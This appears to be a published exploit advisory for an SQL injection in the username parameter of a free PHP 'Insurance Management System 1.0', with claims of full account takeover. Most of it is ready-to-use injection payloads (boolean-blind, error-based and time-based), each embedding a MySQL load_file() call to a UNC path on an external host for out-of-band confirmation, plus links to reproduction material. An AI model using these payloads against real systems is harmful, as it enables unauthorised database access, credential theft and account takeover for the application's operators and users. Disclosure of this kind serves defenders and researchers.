Insurance Management System 1.0 SQL Injection

`## Title: Insurance Management System v1.0 SQLi  
## Author: nu11secur1ty  
## Date: 03.12.2022  
## Vendor: https://itsourcecode.com/free-projects/php-project/php-projects-source-code-free-downloads/  
## Software: https://itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/  
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/itsourcecode.com/Insurance-Management-System  
  
## Description:  
The username parameter appears to be vulnerable to SQL injection  
attacks. The payload '+(select  
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+'  
was submitted in the username parameter.  
This payload injects a SQL sub-query that calls MySQL's load_file  
function with a UNC file path that references a URL on an external  
domain.  
The application interacted with that domain, indicating that the  
injected SQL query was executed.  
The attacker can take administrator account control and also of all  
accounts on this system, also the malicious user can download all  
information about this system.  
  
Status: CRITICAL  
  
[+] Payloads:  
  
```mysql  
---  
Parameter: username (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)  
Payload: username=GvWNfNIz'+(select  
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''  
AND 7122=(SELECT (CASE WHEN (7122=7122) THEN 7122 ELSE (SELECT 6385  
UNION SELECT 2068) END))-- -&password=y6E!b3n!T9  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: username=GvWNfNIz'+(select  
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''  
AND (SELECT 3405 FROM(SELECT COUNT(*),CONCAT(0x7178767671,(SELECT  
(ELT(3405=3405,1))),0x7178627871,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zJzm&password=y6E!b3n!T9  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: username=GvWNfNIz'+(select  
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''  
AND (SELECT 5739 FROM (SELECT(SLEEP(5)))crqV)--  
pBFE&password=y6E!b3n!T9  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/itsourcecode.com/Insurance-Management-System)  
  
## Proof and Exploit:  
[href](https://streamable.com/iyml42)  
  
  
`